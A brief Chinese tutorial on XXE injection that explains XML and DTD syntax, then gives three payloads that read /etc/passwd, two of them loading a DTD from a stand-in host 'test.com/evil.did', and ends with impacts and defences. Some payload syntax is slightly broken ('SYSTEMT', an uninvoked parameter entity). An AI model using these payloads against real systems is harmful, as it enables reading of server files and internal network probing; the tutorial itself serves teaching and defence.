漏洞解释
XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具体结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括XML声明,DTD文档类型定义,文档元素.
常见的XML语法结构如下所示
<?xml version="1.0"?>XML声明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)> 文档定义类型(DATA)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don't forget me this weekend</body> 文档元素
</note>
XML语法结构
其中.文档类型定义(DTD)可以是内部声明也可以引用外部DTD,如下所示
- 内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>
- 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM"文件名">
在DTD中进行实体声明时,将使用ENTITY关键词来声明,实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明,如下所示
- 内部声明实体格式:<!ENTITY 实体名称 "实体的值">
- 引用外部实体格式:<!ENTITY 实体名称 SYSTEMT "URL">
漏洞利用方式
XXE漏洞也叫XXE实体注入,那么如果构建注入呢?
方式一:内部声明DTD格式
<?xml version="1.0"?>
<!DOCTYPE a [
<! ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
方式二:引用外部DTD格式
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://test.com/evil.did">
<c>&b;</c>
//DTD文件内容如下所示
<!ENTITY b SYSTEM "file:///etc/passwd">
方式三:引用外部实体格式
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % d SYSTEM "http://test.com/evil.did">
]>
<c>&b;</c>
//DTD文件内容如下所示
<!ENTITY b SYSTEM "file:///etc/passwd">
漏洞危害
- 远程命令执行
- 读取任意文件
- 探测内网端口
- 攻击内网网站
漏洞防御
- 使用开发语言提供的禁止外部实体的方法
- 过滤用户提交的XML数据